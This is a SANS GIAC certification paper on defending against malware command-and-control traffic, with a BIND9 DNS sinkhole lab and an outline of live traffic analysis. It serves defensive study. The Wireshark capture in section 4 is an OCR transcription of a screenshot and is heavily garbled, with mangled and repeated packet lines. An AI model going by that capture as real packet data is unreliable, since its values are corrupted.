

Global Information Assurance Certification Paper

Copyright SANS Institute Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering "Hacker Tools, Techniques, and Incident Handling (Security 504)" at http://www.giac.org/registration/gcih

Demystifying Malware Traffic

GIAC (GCIH) Gold Certification

Author: Sourabh Saxena, sourabhsaxena25@gmail.com Advisor: Barbara Filkins Accepted: August 28th, 2016

Abstract

In today's world, adversaries use established techniques, innovative and intricate methods for cyber-crimes and to infiltrate firms or an individual's system. Usage of Malware is one of those approaches. Malware not only creates an inlet for attacks, but it also turns systems into "zombies" and "bots" forcing them to obey commands and perform activities as per the whims and fancies of the adversary. Thus, attacks like data theft, mail relay, access to confidential/restricted area, Distributed Denial-of-Service (DDoS) can easily be launched against not just the infected system but against other systems and environments as well by utilizing these zombies, bots, and botnets. Attackers not only obfuscate the code but can encrypt payloads as well as malware's traffic simultaneously, using approaches like mutation and polymorphism making their detection difficult not just for antiviruses, but even for firewalls, IDS and IPS, Incident Handlers, and Forensic teams. Organizations, having learned from past mistakes, have also shifted their approach from simple defense mechanisms such as antiviruses, IDS and IPS to aggressive strategies like DNS Sinkhole and Live Traffic Analysis. These strategies not only help in the identification and removal of malware but also in understanding the actual impact. blocking of malicious activities and identification of adversaries.

In this paper, the following two preventative approaches are discussed in detail: DNS Sink-Hole and Live Traffic Analysis. The paper explores how to set up example environments for each approach using open source tools. Topics around the demystification of malware traffic using these methods include: automating the updating of blacklisted domains for the DNS sinkhole approach, stopping malware from contacting and receiving commands from its command and control (C2) center, and analyzing encrypted malware traffic.

1. Introduction

With the increase in security incidents and breaches, in addition to various compliance, rules, and standards to be met, organizations are spending funds to incorporate security measures wherever possible (Monteith, 2010). These measures vary from implementing Intrusion Detection System (IDS), Intrusion Prevention Systems (IPS), firewalls, and antivirus (AV) to having various open-source as well as commercial security products and modules in place to handle the traditional attacks and the detection of well-known malware (Akamai, 2016).

Attacks like malicious scans, network exploits, exploitation of loosely configured devices, unpatched services availed by regular users/servers/services or attacks like SQL Injections, and XSS in web applications fall under traditional attacks. These attacks are prevalent because tools and scripts are either already available or can be built for exploiting the security weaknesses. The purpose of these tools/scripts is to send the specifically malformed packets or the request to the target machine to trigger the vulnerability. Though there are several limitations in such traditional attacks, one of them is that the generated packets are sent from the attacker's (or any other) machine (i.e., it will be an inbound traffic for the targeted machine/infrastructure.) Moreover, these packets need to be in the exact format that can trigger the vulnerability when they reach their destination. Thus, whether such packets are encrypted or in any other format during the transition to avoid detection, they have to be transformed back to the original format while hitting the weaknesses. Due to such limitations, these attacks can be detected, controlled and mitigated through perimeter or host-based IDS/IPS, Firewall, security patches, policies, hardening of system, devices, applications and services (Weber, 2012).

These are some of the reasons why attackers are now coming up with nontraditional techniques and have better coordination among themselves for the development and usage of stealth malware using freely and easily available frameworks to achieve the desired results (Grimes, 2012). These malware not only initiate the outbound traffic to bypass Firewall rules but also use innovative or non-traditional Sourabh Saxena, sourabhsaxena25@gmail.com

Demystifying Malware Traffic 3

techniques like code obfuscation, encryption, polymorphism, metamorphism, connection to its command-and-control center (also known as C2 and CC) over SSL to go under the radar (Yim, 2010). Moreover, factors like Social Engineering attacks, Zero Day exploits, weak policies and procedures, business exceptions for vulnerability and any changes in the secure environment too are very helpful and are major reasons for the success of malware attacks. Please refer to Appendix – C to understand in detail why such malware are difficult to detect.

Malware attacks are launched against computers, servers, devices, mobile devices and SCADA infrastructure. These attacks convert these resources into zombies, botnets and to achieve attacks like mail relays, access to confidential/restricted areas, Denial-of-Service (DoS), Distributed Denial-of-Service (DDoS), data theft, unauthorized scans, online ransom, chain-attacks and other traditional attacks (LaRiza, 2015).

As the malware attacks are unavoidable, teams like IT, Incident Handlers, Forensics, and Malware Analysis should be prepared with methods to stop the malicious activity of malware, to understand the actual impact caused by such malware and the strategies adopted by attackers. In this paper, the following two methods are explored to help analyze and mitigate non-traditional attacks: DNS Sinkholes and Live Traffic Analysis.

The paper starts with what these environments are and how each can be used in a normal malware attack, followed with a demonstration of each in a lab environment and finally, evaluates how effective they can be, given the use of best practices and limitations of the approach.

2. DNS Sinkhole and Traffic Analysis

This section explores what these approaches are, why and when they are needed, and the benefits of these environments.

2.1. What Is A DNS Sinkhole

Before understanding the DNS Sinkhole, let's see how the Firewall rules and DNS services are utilized by the malware. It is known that Firewalls (network and hostbased) are mostly configured to allow all outbound traffic and only a few specific forms of inbound traffic (Myers, 2013). Malware takes advantage of such policies, apart from other aspects. Therefore, instead of an attacker connecting to the malware or the packets sent by an attacker to the target machine using traditional attacking mechanisms, it is the malware that initiates outbound traffic to connect to its C2 center. This is because any packet sent or any connection initiated by the attacker would be inbound traffic to the infected machine and can easily be detected. Moreover, because users may not have static IPs mapped to their infected systems, outbound traffic from the infected machine is a preferred mechanism in these non-traditional attacks. To initiate the outbound traffic, the malware first queries the IP address of the domain registered for the C2 center using the DNS server and once the IP address is available, it establishes a connection and extracts the commands or (additional) payloads.

A few reasons to configure a malware for domain lookup and not the IP address are as follows:

- a. To mimic the human behavior of accessing a site using a URL and not the IP address directly.
- b. Use of Dynamic DNS Registration services to avoid IP detection.
 Dynamic registration helps attackers when they restart their C2 centers if their IPs are blocked and also to avoid attacks on their own server.
- c. To obtain the "new" IP address assigned to their C2 center after every specific time period.

Use of domains by malware is the reason a DNS service comes into the picture, which ultimately helps researchers to configure the DNS Sinkhole. This is an environment wherein the DNS service running on a particular DNS server resolves DNS Sourabh Saxena, sourabhsaxena25@gmail.com

Demystifying Malware Traffic 5

queries. However, it does not provide the actual IP address of the queried domain if the query is for a blacklisted domain registered for any C2 center. In such a case, DNS is configured to provide the IP address of a server that can be used by a malware analyst or other teams as a sinkhole to isolate the malware from obtaining the IP address of the C2 center, resulting in no connection with the C2 center. Thus, a DNS Sinkhole is used to redirect malware traffic from the infected system to the sinkhole by providing a false IP address to the malware when it tries to retrieve the C2 center's IP address. Once the malware is isolated from contacting its C2 center, all other traffic to and from the system can also be analyzed. For example, when a user is not logged into the system, the traffic is observed to be less; thus, if any system is found to generate more traffic than expected or required, an analyst and other teams can look into the services to analyze the suspicious activity/service (Bambenek, 2015).

A DNS Sinkhole sometimes is also referred to as a DNS Redirection Environment because of its core functionality of redirecting malicious traffic from its original destination to the one specified by the DNS server. This new destination is known as a Sinkhole. All the services, servers and device mechanisms used in a Sinkhole environment can be owned, configured and administered by researcher(s) (Bambenek, 2015). A DNS Sinkhole is also called Blackhole Server, Internet Sinkhole, DNS Redirection Server or Sinkhole Server.

A DNS Sinkhole can be categorized based on the factors like tools used, capabilities, commercial and noncommercial. The DNS Sinkhole can be commercial or configured using a combination of freeware and open-source tools (Virgillito, 2014).

The simplest DNS Sinkhole can provide **127.0.0.1** as a resolved IP address. Advanced sinkholes can provide an IP address of a server that can be configured with other tools, like IDS/IPS and sniffers, for further traffic analysis.

Security best practices should be in place while setting up the DNS server. Please refer to Appendix – A for some of the security best practices applicable to a DNS service.

2.2. What Is Live Traffic Analysis And Its Environment

The real-time analysis of the traffic generated by a malware to get the commands from and to send the information back to its Command-and-Control (C2) center is known as Live Traffic Analysis. Analysis can be performed even if the traffic is over Secure-Socket Layer (SSL).

The environment for live traffic analysis is capable of sending malware traffic to the C2 and forwarding commands back to the malware. Thus, this environment works as a proxy or router and do not disrupt a malware's connection to its C2. This gives a strategic way to study the traffic to and from an infected machine without interfering the flow or the functionality of the malware. The environment can be used for all the traffic, whether sent as cleartext or over SSL (Nieto, 2015).

The purpose of analyzing (demystifying) the malware traffic in real time, whether in cleartext or encrypted, is to understand the impact due to an infection, prepare a remediation and removal plan for the infection, identify weaknesses in current infrastructure and plan to overcome these weaknesses by implementing the security best approaches.

Reasons where this environment can be of help include:

- Organizations may want to pinpoint the attacker and the activities.
- Analysts would like to assess the impact due to all the commands issued by attackers.
- To understand if only one machine is infected or if there are other machines as well.
- To confirm if data from other machines are also being accessed by the attacker, i.e., to confirm a chain-attack.
- Security measures like IDS/IPS may not be helpful if the traffic is over SSL. The only way to assess the impact is to have a real-time analysis,

especially important when the activities/traffic or the command is timebased, i.e. after a period of time of time, which can be a few seconds or a few months. Time interval gives less opportunity to perform an offline analysis.

This also covers the situation where a malware may use an IP address rather than domains, overcoming a few limitations of DNS Sinkhole.

2.3. Why Are These Needed

At times, organizations or the teams, like Incident Handler and Malware Analyst, would need to block the communication of malware for various reasons like security policies, to stop further impact that may include information thefts and other attack variations. At other times, organizations/teams may opt for real-time analysis of the traffic. The reasons for real-time analysis have been previously mentioned. Moreover, if the traffic is over SSL, then it becomes very difficult for organizations to perform the analysis.

2.4. When Are These Needed

DNS Sinkhole and Live Traffic analysis are helpful during phases when a system is already infected due to malware, and there is a need to understand the malware behavior in a better way by analyzing the traffic generated to and from the infected machine, assess impact due to malware, and identify adversaries.

2.5. Benefits

Benefits of these environments include configuration and management under the control of users because of the usage of freeware and open sources described in this paper. These environments can be cost effective as well. Traffic can be blocked or can be analyzed in real time even when the traffic is over SSL, helping in the demystification of malware traffic, which includes encrypted traffic. Traffic can be manipulated to send only

false information to attackers. This helps in maintaining the connection of malware with its Command and Control center and, at the same time, teams can continue their analysis.

The next section presents a generic scenario where a system gets infected due to malware, to understand how the traffic flows to and from the infected system and other network components. This is followed by an illustration of how DNS Sinkhole and Live Traffic Analysis can be used to help/aid in these scenarios.

3. What Happens When a System Gets Infected By Malware

Here's the scenario that explains what happens when a system gets infected and how the traffic flows between an infected machine, the DNS server, and the Command and Control (C2) center.

Scenario: Malware, once it is delivered to the victim, infects the system after execution. It sends a request to the DNS server, either internal or external, to obtain the IP address of the C2 center. The DNS server sends a response with the IP address of the C2 center. Then, the malware sends a request to the C2 center, which is now controlled by an attacker. It sends malicious commands to the infected system.



Figure 1: Traffic flow due to malware

The following steps refer to Figure 1 above:

- 1. Malware gets delivered to the victim, thus infecting the system.
- DNS query, generated by malware, is sent to a DNS server configured in the system.
- 3. The IP address is sent as a response to the infected system.
- 4. Malware establishes a connection with its C2 center after obtaining the IP address. It can be hosted on the C2 center as well.
- 5. Commands are transferred to the malware in the response.

Appendix – E contains instructions on how to set up the above environment and a detailed analysis of the flow of data to and from the victim's machine, web server (hosting the virus), DNS server, virus connecting to the C2 center, request to and response from the C2 center.

A more complex environment and the flow of malware traffic over SSL will be discussed in the Live Traffic Analysis section. Moreover, in a real scenario, **virus.exe** and **backdoor.exe** can be spread using e-mails, web pages and by other means.

The next two sections will explore these aspects of DNS Sinkhole and Live Traffic Analysis in detail.

4. DNS Sink Hole Analysis

Figure 2 is a screenshot of the above scenario with the phases of downloading, execution and DNS query. **X.X.37.220** is the server from where **virus.exe** is downloaded. **X.X.37.64** is the DNS server with which virus performs the DNS query for its C2. In the following example, **example.com** (93.184.216.34) has been used as C2:

Ele Édit View Go Capture Analyze Satistics Telephony Iools Internals Help Filter: June Construction Structure Constructure Construction Structure Constructure Construction Structure Constructure Con
Image: Surve: Image: Surve:<
Filter 37.64 paddr=3312.02 paddr=33138.21634 EspressionClear Apply Save Filter 37.64 paddr=3312.02 paddr=33138.21634 EspressionClear Apply Save 7303 102.667767.35 102.168.157.26 77.20 152.168.137.26 TCP 151.4 [TCP segment of a reassembled PDU] 7305 102.877245 102.168.157.26 77.20 152.168.137.26 TCP 151.4 [TCP segment of a reassembled PDU] 7305 102.87945 102.168.157.26 152.168.137.26 TCP 151.4 [TCP segment of a reassembled PDU] 7305 102.87945 102.168.157.26 152.168.137.26 TCP 51.4 4499 Entry Ack [Segme31 Adx45501440 Enn-0 7311 104.530361 10.37.20 192.168.137.26 TCP 60 http > 44499 Entry Ack [Segme31 Adx45501592 Ath=31 Win=3036 Len=0 7312 105.17824 0T as 37.20 192.168.137.26 TCP 60 http > 44499 Entry Ack [Seg=5915792 Ack=31 Win=3036 Len=0 7320 105.17824 0T as 37.200 192.168.137.26 TCP 60 http > 44499 [Enn, Ack [Seg=5915792 Ack=31 Win=3036 Len=0 7321 105.17824 0T as 37.200 192.168.137.26 TCP 60 http > 44499 [Enn, Ack [Seg=5915792 Ack=31 Win=3036 Len=0 7325 106.119626 .37.220 192.168.137.26 TCP 60 http > 44499 [Enn, Ack [Seg=5915792 Ack=31 Win=3036 Len=0 7325 106.519563 .37.200 192.168.137.26
Filter Jdra= 3720 µpaddra=93184.216.34 Expression Clear Apply Save No. Time Source Detination Protocol Length Info 1514 [TCP 1514
No. Time Source Destination Protocol Length Info Source Source Destination Protocol Length Info Source
7303 102.667678 192.166.137.26 TCP IS14 [TCP segment of a reassembled PDU] 7204 102.667728 102.168.137.20 192.166.137.26 TCP IS14 [TCP segment of a reassembled PDU] 7205 102.67728 102.168.137.20 192.166.137.26 HTTP 1385 HTTP/L1.200 0K (application/k-msdos-program) 7205 102.67781 202.168.147.26 192.166.137.26 TCP 60 http > 44499 > http [Ack] Seqme31 AdkeDS15592 Min-#20008 Len=0 7311 104.530361
7304 102: 867725 192: 168: 137: 2c
7305 102. 879494 37.220 192.168.137.26 HTTP 1.385 HTTP/1.1 200 0K (app1fcation/x=msdos-program) 7305 103.079285 192.168.137.26 192.168.137.20 TCP 50 44499 > http [AcK] Seq=331 AcK=321 Win=3036 Len=0 7311 104.530361 .37.220 192.168.137.26 TCP 60 http > 44499 > http [AcK] Seq=351 AcK=311 Win=3036 Len=0 7313 104.530662 192.168.137.26 TCP 60 http > 44499 > http [AcK] Seq=351 AcK=311 Win=3036 Len=0 7331 104.530662 192.168.137.26 TCP 60 http > 44499 [EN, AcK] Seq=5915792 AcK=331 Win=3036 Len=0 7332 105.119626 37.220 192.168.137.26 TCP 60 http > 44499 [EN, AcK] Seq=5915792 AcK=331 Win=3036 Len=0 7335 106.119626 37.220 192.168.137.26 TCP 60 http > 44499 [EN, AcK] Seq=5915792 Ack=331 Win=3036 Len=0 735 109.65506 37.220 192.168.137.26 TCP 60 http > 44499 [EN, AcK] Seq=5915792 Ack=331 Win=3036 Len=0 7427 114, 800070 37.220 192.168.137.26 TCP 60 http > 44499 [EN, AcK] Seq=5915792 Ack=31 Win=3036 Len=0 7427 114, 800070 37.220 192.168.137.26 TCP 60 http > 44499 [EN, AcK] Seq=5915792 Ack=31 Win=3036 Len=0 7427 114, 800070 37.26 DN 228 Standard qquery resporse 0xade 37.84 18
706 103.092380 192.168.137.26TCP94 4449 > http://cxcl/seq=311 ack=5913792 xih=32600007311 104.330461.37.220192.168.137.26TCP60 http:> 44499 > http://cxcl/seq=311 ack=5913792 xih=32600007312 104.330461.37.220192.168.137.26TCP60 http:> 44499 [http://cxcl/seq=311 ack=5913793 xih=3236 Len=07313 104.330461.37.220192.168.137.26TCP60 http:> 44499 [http://cxcl/seq=3913793 xih=30336 Len=07323 105.173840.37.220192.168.137.26TCP60 http:> 44499 [http://cxcl/seq=5915792 xick=311 xih=30336 Len=07335 106.119626.37.220192.168.137.26TCP60 http:> 44499 [http://cxcl/seq=5915792 xick=311 xih=30336 Len=07335 106.119626.37.220192.168.137.26TCP60 http:> 44499 [http://cxcl/seq=5915792 xick=311 xih=30336 Len=07345 109.65065.37.220192.168.137.26TCP60 http:> 44499 [http://cxcl/seq=5915792 xick=311 xih=30336 Len=07347 114.80070.37.220192.168.137.26TCP60 http:> 44499 [http://cxcl/seq=5915792 xick=311 xih=30336 Len=07427 114.80070.37.220192.168.137.26TCP60 http:> 44499 [http://cxcl/seq=5915792 xick=311 xih=30336 Len=07502 122.583476137.64192.168.137.26TCP60 http:> 44500 [http://cxcl/seq=5915792 xick=311 xih=30336 Len=07502 122.583476137.64192.168.137.26TCP60 http:> 44500 [http://cxcl/seq=5915792 xick=311 xih=30336 Len=07502 122.583476137.64192.168.137.26TCP60 http:> 44500 [sth] seq=0 xih=82 Len=0 Mts=14007503 122.5934
7311 104, 530361 .37, 220 192, 168, 137, 26 TCP 60 http > 44499 [FIN, Ack] Seq=5915792 Ack=31 win=0336 Len=0 7312 104, 530661 .37, 220 192, 168, 137, 26 TCP 60 http > 44499 [KN, Ack] Seq=5915792 Ack=31 win=0336 Len=0 7313 104, 530661 .37, 220 192, 168, 137, 26 TCP 60 http > 44499 [KN, Ack] Seq=5915792 Ack=31 win=3036 Len=0 7320 105, 137, 220 192, 168, 137, 26 TCP 60 http > 44499 [FIN, Ack] Seq=5915792 Ack=31 win=3036 Len=0 7335 106, 119626 .37, 220 192, 168, 137, 26 TCP 60 http > 44499 [FIN, Ack] Seq=5915792 Ack=31 win=3036 Len=0 7346 107, 087563 .37, 220 192, 168, 137, 26 TCP 60 http > 44499 [FIN, Ack] Seq=5915792 Ack=31 win=3036 Len=0 7357 109, 65505 .37, 220 192, 168, 137, 26 TCP 60 http > 44499 [FIN, Ack] Seq=5915792 Ack=31 win=3036 Len=0 7427 114, 80070 .37, 220 192, 168, 137, 26 TCP 60 http > 44499 [FIN, Ack] Seq=5915792 Ack=31 win=3036 Len=0 7502 122, 58376 .37, 24 192, 168, 137, 26 TCP 60 http > 44499 [FIN, Ack] Seq=5915792 Ack=31 win=3036 Len=0 7502 122, 58376 .37, 24 192, 168, 137, 26 TCP 60 http > 44500 [FN, 3ck] Seq=5915792 Ack=31 win=3036 Len=0 7502 122, 58376
7312 104.330462 192.168.137.26 1.37.220 152.168.137.26
733 101-3102 737.20 137.26 177 60 http<>>44499 [FIN, ACK] Seq=5915792 24K=311 Win=3036 Leno 7375 109.65505 102.168.137.26 TCP 60 http<>>44499 [FIN, ACK] Seq=5915792 Ack=311 Win=3036 Leno 7502 122.168.137.26 TCP 60 http<>>44500 bits bits bits bits bits bits bits bit
7320 102.473840 137.200 1392.168.137.20 1192.168.137.26 TCP 60 http > 44499 [FN, AcK] \$ 58(-\$315792 Ack-331 win=3036 Len-0 7345 106.119626 37.220 192.168.137.26 TCP 60 http > 44499 [FN, AcK] \$ seq=5915792 Ack-331 win=3036 Len-0 7345 106.119626 37.220 192.168.137.26 TCP 60 http > 44499 [FN, AcK] \$ seq=5915792 Ack-331 win=3036 Len-0 7347 114.800070 37.220 192.168.137.26 TCP 60 http > 44499 [FN, AcK] \$ seq=5915792 Ack-331 win=3036 Len-0 7427 114.800070 37.220 192.168.137.26 TCP 60 http > 44499 [FN, AcK] \$ seq=5915792 Ack-331 win=3036 Len-0 7428 122.75653 102.168.137.26 TCP 60 http > 44599 [FN, AcK] \$ seq=5915792 Ack-331 win=3036 Len-0 7502 122.583476 137.64 192.168.137.26 DNS 298 Standard query response 0xa06c A 93.184.216.34 7500 122.913943 93.164.216.34 192.168.137.26 DNS 298 Standard query response 0xa06c A 93.184.216.34 Seq=0 Min=6420 Len-0 7500 122.913943 93.164.216.34 192.168.137.26 TCP 60 http > 44500 [SVN, AcK] Seq=0 Ack-1 win=6420 Len-0 MSS=1460 7500 122.914080 93.164.216.34 192.168.137.26 TCP 60 http > 44500 [SVN, AcK] Seq=14 Ack-115 win=64240 Len-0 MSS=1460 7500 12
7354 100.119000 37.200 192.100.1
1236 407, 007 302 127, 1200 122, 1200, 127, 220, 220, 220, 220, 220, 220, 220, 2
7427 114 X05.00070 37.220 122.160.137.26 1CF 60 http > 44499 [F1N, ACK] Seq=512/32 ACK=31 Win=30336 Left=0 7427 114 X00070 37.220 132.160.137.26 TCP 60 http > 44499 [F1N, ACK] Seq=513792 ACK=31 Win=30336 Left=0 7408 122.276559 122.166.137.26 137.64 DNS 71 Standard query OxA05c A example.com 7502 122.583476 137.64 DNS 71 Standard query OxA05c A example.com 7502 122.583476 137.64 DNS 72 Standard query OxA05c A example.com 7502 122.583476 132.166.137.26 DS 298 Standard query OxA05c A example.com 7507 122.91349 39.148.126.34 102.168.137.26 TCP 60 http > 44500 > http Standard query OxA05c A example.com 7509 122.91409 132.166.137.26 03.184.216.34 TCP 60 http > 44500 > http Ack] Standard query OxA05c Ack = Win=64240 Len=0 7509 122.91409 132.168.137.26 TCP 60 http > 44500 = http Ack] Standard query OxA05c Ack = Win=64240 Len=0 7509 122.91503 93.184.216.34 192.168.137.26 TCP 60 http > 44500 [Stn, Ack] Standard query OxA05c Ack = Win=64240 Len=0 7510 122.91503 93.184.216.34 192.168.137.26 TCP 1514 [TCP segment of a reassembled PDU] 7530 124.834169 93.184.216.34 192.168.137.26 TCP <td< td=""></td<>
7458 7458 <th< td=""></th<>
7502 7222 7834 760 192.168.137.26 DNS 298 Standard query response 0xa06C A 9.184.216.34 7503 122.685534 192.168.137.26 DNS 298 Standard query response 0xa06C A 9.184.216.34 7507 122.918439.184.216.34 192.168.137.26 CP 66 44500 > http: Ack:1 win=64240 Len=0 MSS=1460 7508 122.914039 192.168.137.26 TCP 60 http: Ack:1 win=64240 Len=0 MSS=1460 7509 122.914039 192.168.137.26 TCP 60 http: Ack:1 win=64240 Len=0 MSS=1460 7509 122.916039 93.184.216.34 TCP 108 ftd: ftd:<
2503 122.403 123.103 1
7507 122.913943 93.184.216.34 192.168.137.26 TCP 60 http > 44500 [SYN, ACK] Seq=0 Ack=1 win=64240 Len=0 MSS=1460 7508 122.914108 192.168.137.26 93.184.216.34 TCP 54 44500 > http / Ack] Seq=1 Ack=1 win=64240 Len=0 MSS=1460 7509 122.914050 192.168.137.26 93.184.216.34 TCP 54 44500 > http / Ack] Seq=1 Ack=1 win=64240 Len=0 7509 122.914050 192.168.137.26 TCP 60 http > 44500 [StN, Ack] Seq=1 Ack=115 win=64240 Len=0 7510 122.91503 993.184.216.34 192.168.137.26 TCP 60 http > 44500 [Ack] Seq=1 Ack=115 win=64240 Len=0 7529 124.834160 93.184.216.34 192.168.137.26 TCP 1514 [TCP segment of a reassembled POU] 7530 124.834163 93.184.216.34 192.168.137.26 TCP 60 http > 44500 [FLN, PSH, Ack] Seq=1673 Ack=115 win=64240 Len=0 7531 124.834163 93.184.216.34 192.168.137.26 TCP 60 http > 44500 [FLN, PSH, Ack] Seq=1673 Ack=115 win=64240 Len=0 7532 124.834163 93.184.216.34 192.168.137.26 TCP 60 http > 44500 [FLN, PSH, Ack] Seq=1673 Ack=115 win=64240 Len=0 7532 124.834250192.168.137.26 TCP 60 http > 44500 [FLN, PSH, Ack] Seq=1673 Ack=115 win=64240 Len=0
7508 122.914108 192.168.137.26 93.184.216.34 TCP 54.44500 > http://stp.ack scd=1 Ack=1 Win=64240 Len=0 7509 122.914063 192.168.137.26 93.184.216.34 HTP 108.647 / HTP/Jat 7510 122.915039 93.184.216.34 192.168.137.26 TCP 60 http://stp.ack scd=1 Ack=115 Win=64240 Len=0 7529 124.834166 93.184.216.34 192.168.137.26 TCP 60 http://stp.ack scd=1 Ack=115 Win=64240 Len=0 7529 124.834166 93.184.216.34 192.168.137.26 TCP 151.4 TCP scd=1
7509 122.10541957.1054.157.26 93.184.216.34 HTTP 11.05 04.7 /HT7P.1.1 7510 122.915039 93.184.216.34 192.166.137.26 TCP 60 http> > 44500 [ack] 34.216.34 192.168.137.26 TCP 60 http> > 44500 [ack] 34.216.34 192.168.137.26 TCP 1514 [TCP segment of a reassembled PDU] 7530 124.84163 93.184.216.34 192.168.137.26 TTP 266 HTTP/1.1 200 Km (text/htm]) 7331 124.834163 93.184.216.34 192.168.137.26 TTP 266 HTTP/1.1 200 Km (text/htm]) 739.124.834163 93.184.216.34 192.168.137.26 TTP 266 Http://1.1 200 Km (text/htm]) 739.124.834163 93.184.216.34 192.168.137.26 TTP 60 http://s44.00000 FCM FGM FGM<
7510 122.91503 93.184.216.34 192.168.137.26 TCP 60 http > 44500 [acK] Seq-1 Ack=115 win=64240 Len=0 7529 124.834160 93.184.216.34 192.168.137.26 TCP 1514 [TCP segment of a reassembled PDU] 7530 124.834163 93.184.216.34 192.168.137.26 HTTP 266 HTTP/1.1 200 or (text/html) 7531 124.834163 93.184.216.34 192.168.137.26 TTP 266 HTTP/1.1 200 or (text/html) 7531 124.834163 93.184.216.34 192.168.137.26 TCP 60 http > 44500 [TN, PSH, Ack] Seq=1673 Ack=115 win=64240 Len=0 7532 124.8342501292.168.137.26 TCP 54 44500 > http [Ack] Seq=1673 Ack=115 win=64240 Len=0 7532 124.834165 93.184.216.34 TCP 54 44500 > http [Ack] 564.137.26 TCP
7529 124.834160 93.184.216.34 192.168.137.26 TCP 1514 [TCP segment of a reassembled PDU] 7530 124.834163 93.184.216.34 192.168.137.26 HTTP /1.1 200 KK (text/html) 7531 124.834163 93.184.216.34 192.168.137.26 TCP 60 http > 44500 > http / 44500 > http
7530 124.834163 93.184.216.34 192.168.137.26 HTTP 266 HTTP/L1 2000 kr (text/html) 7531 124.834165 93.184.216.34 192.168.137.26 TCP 60 http > 44500 FIN, PSH, ACK] Seq=1673 Ack=1674 uin=64240 Len=0 7532 124.834250192.146.137.26 93.184.216.34 TCP 54 44500 > http [Ack] 5cq=115 Ack=1674 win=64240 Len=0
7331 124.834165 93.184.216.34 192.168.137.26 TCP 60 http > 44500 [FIN, P5H, Ack] Seq-1673 Ack-115 win-64240 Len-0 7532 124.84290192.168.137.26 93.184.216.34 TCP 54 44500 > http [Ack] Seq-157 Ack-157 win-64240 Len-0
7532 124.834290 192.168.137.26 93.184.216.34 TCP 54 44500 > http [ACK] Seq=115 Ack=1674 Win=64240 Len=0
7533 124.868140 192.168.137.26 93.184.216.34 TCP 54 44500 > http [FIN, ACK] Seq=115 Ack=1674 win=64240 Len=0
7534 124.868362 93.184.216.34 192.168.137.26 TCP 60 http > 44500 [ACK] Seq=1674 Ack=116 win=64239 Len=0
7537 125.074101 37.220 192.168.137.26 TCP 60 http > 44499 [FIN, ACK] Seq=5915792 Ack=331 win=30336 Len=0
7591 130.547018 192.168.137.26
7595 130.841166 237.64 192.168.137.26 DNS 353 Standard query response 0x9571 CNAME bouncer-bouncer-elb.prod.mozaws.net A 52.70.203.76
e W
Time to rive a
Product: ItP (0)
0000 00 c2 29 00 04 fa 00 50 56 c0 00 08 08 00 45 00) P.V. F.
0010 05 dc 24 7d 40 00 33 06 0b 2b a2 d5 25 dc c0 a8
0020 89 1a 00 50 ad d3 0f 3f c4 35 c9 bd d5 22 50 10P? .5"P.
10030 00 ed 39 3b 00 00 2d 64 65 62 75 67 2d 6C 31 2d9;d ebug-11-

Figure 2: Flow of malware traffic, including DNS Query

Let us consider that researchers can block the DNS query initiated by malware. If so, the malware won't be able to get the IP address of its C2 and thus, won't be able to connect to its C2. Hence, this will help in blocking malware activities that can be achieved using DNS Sinkhole. A detailed flow and setup for the above scenario are noted in Appendix – E.

4.1. Components Used To Set Up A SinkHole Environment

We will now set up the environment for DNS Sinkhole which would be used to achieve the above idea. The automation part would also be looked into for updating the blacklisted domains for DNS Sinkhole.

The components required for building the DNS Sinkhole environment are:

- 1. Ubuntu: Required for running a BIND service.
- 2. BIND9: This acts as the DNS Service.
- 3. Windows 7: This acts like a victim's machine.
- 4. Kali with Apache2: This hosts virus.exe.

4.2. How to Set Up A DNS SinkHole

A simple sinkhole wherein the resolution of a domain will be the local host (127.0.0.1) can be set up by the following steps:

 Boot the Ubuntu system and then install BIND9 (Albitz & Liu, 2016) using the following command (Refer to Appendix - E, Figure 9):

sudo apt-get install bind9

2. Edit **named.conf** to include the **blockeddomains.conf** file. This file contains the location of the zone file for the blocked domains.



Figure 3: Defining the location of zone file in named.conf

3. The **named.conf.options** file is configured to use BIND as a simple forwarder, as shown in the screenshot below. A DNS zone can also be added here as **RPZ** (commented in the screenshot below for **google.com**).

Demystifying Malware Traffic | 12



Figure 4: BIND service as a forwarder

4. Create a Config file with the location of the zone file of the blocked domains.

ا ubuntu@DNS: ~		3 23	
zone "google.com" IN {type master; file "/etc/bind/blockeddoma; zone "example.com" IN {type master; file "/etc/bind/blockeddoma;	ins.zone";}; ains.zone";};		^
<pre>~ "/etc/bind/blockeddomains.conf" 2L, 151C</pre>	1,1	A11	-

Figure 5: Configuration file with the location of the zone file

 Create the zone file and add the details, as shown in the screenshot below. These details can be different depending on the requirements of users or organizations.

Note that the last line, i.e. * **IN A 127.0.0.1**, has been added to cover subdomains as well as www for blacklisted domains. **192.168.137.137** is the IP of the server where the BIND service is running. Sourabh Saxena, sourabhsaxena25@gmail.com

Demystifying Malware Traffic 13



Figure 6: Zone file to resolve specific domains as 127.0.0.1

Now, restart the BIND service using the following command:

service bind9 restart

6. When a resolution occurs for **google.com** by a system using **192.168.137.137** as a DNS Server, the DNS service returns **127.0.0.1** as the IP address as shown in the following screenshot.

jig ubuntu@DNS: ~	Administrator: C:\Windows\system32\cmd.exe - nslookup
ubuntu@DNS:~\$ sudo service bind9 restart ubuntu@DNS:~\$ sudo service bind9 status = bind0 service = BUND Pompin Neme Server	C:\Users\Sourabh Saxena\nslookup Default Server: abbs-tn-dynanic-005.160^ Address:
Loaded: loaded (lib/system/jaystem/bind9.service; enabled; vendor preset; enabled) Drop-In: /run/system/generator/bind9.service.d	> server 192.168.137.137 Default Server: [192.168.137.137] Address: 192.168.137.137
Active: active (running) since Son 2016-03-20 07:49:39 FDT; 3s ago Docs: man:mamed(8) Process: 033 FeenSone(usr/ship/rpdc_stor_(codesevined_statuseD/SUCCESS)	> google.com Server: 1192.168.137.1371 Address: 192.168.137.137
Main FID: 2041 (named) CGroup: /system.slice/bind9.service _2041 /usr/bbin/named -f -u bind	DNS request timed out. timeout was 2 seconds. Aane: google.com Address: 127.0.0.1
Mar 20 07:49:39 DNS named[2041]: zone 127.in-addr.arpa/IN: loaded serial 1 Mar 20 07:49:39 DNS named[2041]: zone localhost/IN: loaded serial 2 Mar 20 07:49:03 DNS named[2041]: zone localhost/IN: loaded serial 2	> example.com Server: [192.168.137.137] Address: 192.168.137.137]
